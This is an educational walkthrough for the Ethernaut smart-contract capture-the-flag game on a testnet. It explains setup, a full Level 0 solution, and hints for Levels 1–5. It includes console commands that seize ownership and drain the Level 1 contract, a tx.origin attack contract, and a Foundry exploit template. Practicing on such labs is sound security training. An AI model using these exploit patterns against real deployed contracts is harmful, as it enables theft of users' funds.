Ethernaut — Your First CTF
Ethernaut is THE starting point for smart contract security practice. Created by OpenZeppelin and deployed on Sepolia testnet, it is a series of 30+ challenges where each level teaches one specific vulnerability class. Think of it as PortSwigger Labs for Web3 — meticulously designed, progressively harder, and built on real vulnerabilities found in production contracts.
What Is Ethernaut?
- On-chain challenges: Each level is an actual smart contract deployed on Sepolia testnet
- Real vulnerability patterns: Every level mirrors a real-world exploit that has cost millions
- Progressive difficulty: Starts with reading state, escalates to complex DeFi exploits
- Free to use: Only costs testnet ETH (free from faucets)
- Created by OpenZeppelin: The gold standard of smart contract security tools
Setting Up Ethernaut
Step 1: Install MetaMask
→ Go to metamask.io
→ Install browser extension
→ Create new wallet (store seed phrase SECURELY)
Step 2: Switch to Sepolia Testnet
→ MetaMask: Click network dropdown (top)
→ Enable "Show test networks" in settings
→ Select "Sepolia"
Step 3: Get free Sepolia ETH
→ https://sepoliafaucet.com/ (Alchemy faucet — 0.5 ETH/day)
→ https://faucets.chain.link/sepolia (Chainlink — requires small balance)
→ https://www.infura.io/faucet/sepolia (Infura — requires account)
Step 4: Open Ethernaut
→ https://ethernaut.openzeppelin.com/
→ Connect MetaMask wallet (Sepolia network)
Step 5: Open browser developer console
→ Chrome/Firefox: F12 → Console tab
→ This is your primary interface for early levelsHow Ethernaut Works — The Level Lifecycle
1. GET INSTANCE
→ Click "Get new instance" on the level page
→ MetaMask popup: approve the transaction (costs testnet ETH)
→ A NEW contract is deployed just for you
→ You get the contract address in the browser console
2. HACK IT
→ Read the contract source code on the level page
→ Identify the vulnerability
→ Interact via browser console or Foundry
→ Satisfy the "win condition" (e.g., become owner, drain balance)
3. SUBMIT INSTANCE
→ Click "Submit instance"
→ Another MetaMask transaction
→ Ethernaut checks if you met the win condition
→ If yes: Level cleared! 🎉
→ If no: Try again (get a new instance if needed)How to Interact: Browser Console vs Foundry
| Method | Best For | When to Use |
|---|---|---|
| Browser Console | Beginner levels, exploring state | Levels 0-5 (simple calls) |
| Foundry (forge test) | Complex exploits, automated tests | Levels 6+ (multi-step exploits) |
| Hardhat scripts | JavaScript preference | Any level |
| cast (CLI) | Quick reads and sends | Quick state checks |
// Ethernaut injects a 'contract' object in the browser console
// Read the contract's ABI (available functions):
contract.abi
// Read a public variable:
await contract.owner()
// Read a mapping value:
await contract.balances("0xYourAddress")
// Call a function (state-changing, sends a transaction):
await contract.contribute({value: toWei("0.001")})
// Get the contract's ETH balance:
await getBalance(instance)
// Get your connected wallet address:
player // or: await web3.eth.getAccounts()
// Ethernaut helper functions available in console:
toWei("1") // Convert ETH to wei
fromWei("1000000000000000000") // Convert wei to ETH
sendTransaction({to: instance, value: toWei("0.001")}) // Raw ETH sendLevel 0: Hello Ethernaut — Full Walkthrough
This first level teaches you the interface. There are no tricks — just reading and calling functions in the right sequence.
// Win condition: Call all the functions in the correct sequence
// The contract guides you through its own solution
// Step 1: Read the password method hint
await contract.info()
// Returns: "You will find what you need in info1()."
await contract.info1()
// Returns: "Try info2(), but with 'hello' as a parameter."
await contract.info2("hello")
// Returns: "The property infoNum holds the number of the info method you should call next."
await contract.infoNum()
// Returns: 42
await contract.info42()
// Returns: "theMethodName is the name of the next method."
await contract.theMethodName()
// Returns: "The method name is method7123949."
await contract.method7123949()
// Returns: "If you know the password, submit it to authenticate()."
await contract.password()
// Returns: "ethernaut0" (this is the password)
await contract.authenticate("ethernaut0")
// MetaMask popup → Confirm → Transaction sent
// Now click "Submit instance" on the level page
// You've completed Level 0!The First 5 Levels — Concepts and Hints
Level 1: Fallback
This level has two ways to claim ownership: the intended path (contribute a lot of ETH) and the backdoor (exploit the receive() function). Read the ownership transfer logic in receive(). Notice: you can send ETH directly to the contract without calling any named function — what happens to ownership when you do that?
// Look at the receive() function in the contract:
// If you've contributed ANY amount AND send ETH directly to the contract...
// What happens to owner?
// The two-step approach:
// Step 1: contribute() something small (> 0)
await contract.contribute({value: toWei("0.0001")})
// Step 2: Send ETH directly to trigger receive()
await sendTransaction({to: instance, value: toWei("0.0001")})
// Step 3: Check if you're owner now
await contract.owner() // Should be your address
// Step 4: Withdraw (this drains the contract)
await contract.withdraw()</code></div>
</div>
Level 2: Fallout
📖 Vulnerability: Constructor Naming Bug (Historical)
In Solidity versions before 0.4.22, the constructor had to have the same name as the contract. If the contract was renamed but the "constructor" wasn't — it became a regular public function. Look very carefully at the contract name vs the function name that looks like a constructor. One letter different? That means it's callable by anyone, right now.
Level 3: Coin Flip
📖 Vulnerability: Pseudo-Randomness from Block Data
The contract generates a "coin flip" using blockhash(block.number - 1). The key insight: block data is deterministic and known BEFORE a transaction executes. You can read the same blockhash in your attacking contract and predict the outcome before calling the flip. The attack: deploy your own contract that reads the blockhash first, computes the correct guess, then calls the vulnerable contract — both happen in the same transaction.
Level 4: Telephone
📖 Vulnerability: tx.origin vs msg.sender
The contract checks if (tx.origin != msg.sender) to change the owner. This condition is true when a CONTRACT calls the function (because msg.sender = the contract, but tx.origin = you, the original EOA). Deploy an intermediary contract that calls the Telephone contract. When you call your intermediary: tx.origin = you, msg.sender = your intermediary → condition passes → owner changes to you.
💡 Level 4 Exploit Contract
// Deploy this contract, then call attack()
contract TelephoneAttack {
address telephoneAddr = 0xInstanceAddress;
function attack() external {
// When YOU call this function:
// tx.origin = your EOA address
// msg.sender (inside Telephone) = this contract address
// tx.origin != msg.sender → condition passes!
ITelephone(telephoneAddr).changeOwner(msg.sender);
}
}
Level 5: Token
📖 Vulnerability: Integer Underflow (Pre-0.8.0)
You start with 20 tokens. The contract checks require(balances[msg.sender] - _value >= 0). This is on a uint! Unsigned integers can never be negative — so 20 - 21 doesn't equal -1, it wraps around to 2^256 - 1 (maximum uint256). The require always passes because any uint is always >= 0. Transfer 21 tokens to anyone.
Using Foundry to Solve Ethernaut — Template
🛡️ Foundry Ethernaut Template
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
// Interface for the target level contract
interface ITelephone {
function changeOwner(address) external;
function owner() external view returns (address);
}
contract TelephoneExploit is Test {
function setUp() public {
// Fork Sepolia at the current block
vm.createSelectFork(vm.envString("SEPOLIA_RPC_URL"));
}
function test_Exploit() public {
// Your Ethernaut instance address (from the browser)
address levelInstance = 0xYourInstanceAddress;
address player = vm.envAddress("PLAYER_ADDRESS");
// Deploy the attack contract
vm.prank(player);
AttackContract attacker = new AttackContract();
// Execute attack
vm.prank(player);
attacker.attack(levelInstance);
// Verify win condition
assertEq(ITelephone(levelInstance).owner(), player, "Not owner yet");
console.log("Level cleared! Owner is now:", ITelephone(levelInstance).owner());
}
}
contract AttackContract {
function attack(address target) external {
ITelephone(target).changeOwner(msg.sender);
}
}
Top Vulnerability Categories in Ethernaut
Level(s) Vulnerability Type Real-World Impact
1, 7, 10 Access control failures Admin functions callable by anyone
2 Constructor naming bug $150M Parity wallet frozen
3 Insecure randomness Lottery/NFT exploits
4 tx.origin authentication Phishing attacks
5 Integer overflow/underflow Token balance manipulation
6 Reentrancy $60M DAO hack (2016)
8 Vault/storage visibility "Private" variables are public
9 King — DoS with reverts Contract state permanently locked
12 Privacy — storage layout Reading "private" contract state
14 Gatekeeper — EVM internals Gas manipulation, type tricks
16 Preservation — delegatecall Proxy storage collision
24 Puzzle Wallet — proxy bug Transparent proxy vulnerabilities
What to Do After Each Level
📖 Post-Level Learning Workflow
After solving each level:
1. Read the Ethernaut solution explanation (on the level page after submitting)
2. Search for writeups: "Ethernaut Level [N] walkthrough"
→ Multiple perspectives reveal different approaches
3. Find the real-world analogue:
→ Level 6 (Re-entrancy) → research The DAO hack 2016
→ Level 4 (Telephone) → research phishing via tx.origin
→ Level 2 (Fallout) → research Parity multisig freeze
4. Write your own Foundry test for the level:
→ Even if you solved it in the browser, implement it in Foundry
→ This builds the muscle memory for real auditing
5. Add to your vulnerability pattern library:
→ Record: vulnerability name, how to identify it, how to exploit it
→ Notion, Obsidian, or a simple markdown file works great
After Ethernaut: What Comes Next
💡 Your Smart Contract Security Progression
After completing Ethernaut (or the first 15-20 levels), move to: Damn Vulnerable DeFi (DeFi-specific, harder), then QuillCTF (modern Solidity patterns), then Cyfrin Updraft's Security Course (structured auditing methodology), then real audit competitions on Code4rena or Sherlock. Ethernaut is the on-ramp — the destination is real bugs in real protocols.
Common Mistakes Section
⚠️ Mistake #1: Looking at Solutions Too Quickly
The learning happens in the struggle. Give each level at least 1-2 hours of genuine effort before looking for hints. The moment you understand a vulnerability through your own exploration, you will remember it forever. Solutions read passively produce almost zero retention.
⚠️ Mistake #2: Staying on Mainnet Network
Ethernaut runs on Sepolia testnet. If your MetaMask is on Mainnet when you click "Get new instance", you will pay real ETH for a mainnet transaction that does nothing useful. Always verify you are on Sepolia before starting a level.
⚠️ Mistake #3: Not Reading the Source Code Carefully
Most Ethernaut levels are solved by careful reading, not clever hacking. Read every line of the contract source. Read every require() condition. Ask: "what combination of calls would make this require() pass in an unexpected way?" or "who can call this function?" Many bugs are one line of obvious code away.
Summary / Key Takeaways
Concept Key Fact Take Away
Ethernaut 30+ real vulnerability challenges on Sepolia Best starting point for security practice
Level lifecycle Get instance → hack → submit Each instance is YOUR personal copy
Browser console Web3 API injected by Ethernaut Good for simple calls, use Foundry for complex
Foundry for Ethernaut Fork Sepolia, test the exploit Best practice — treat exploits as tests
After solving Read writeups, find real exploit Pattern library building is the goal
Difficulty curve 0-5: easy, 6-15: medium, 15+: hard Don't skip — each builds on the last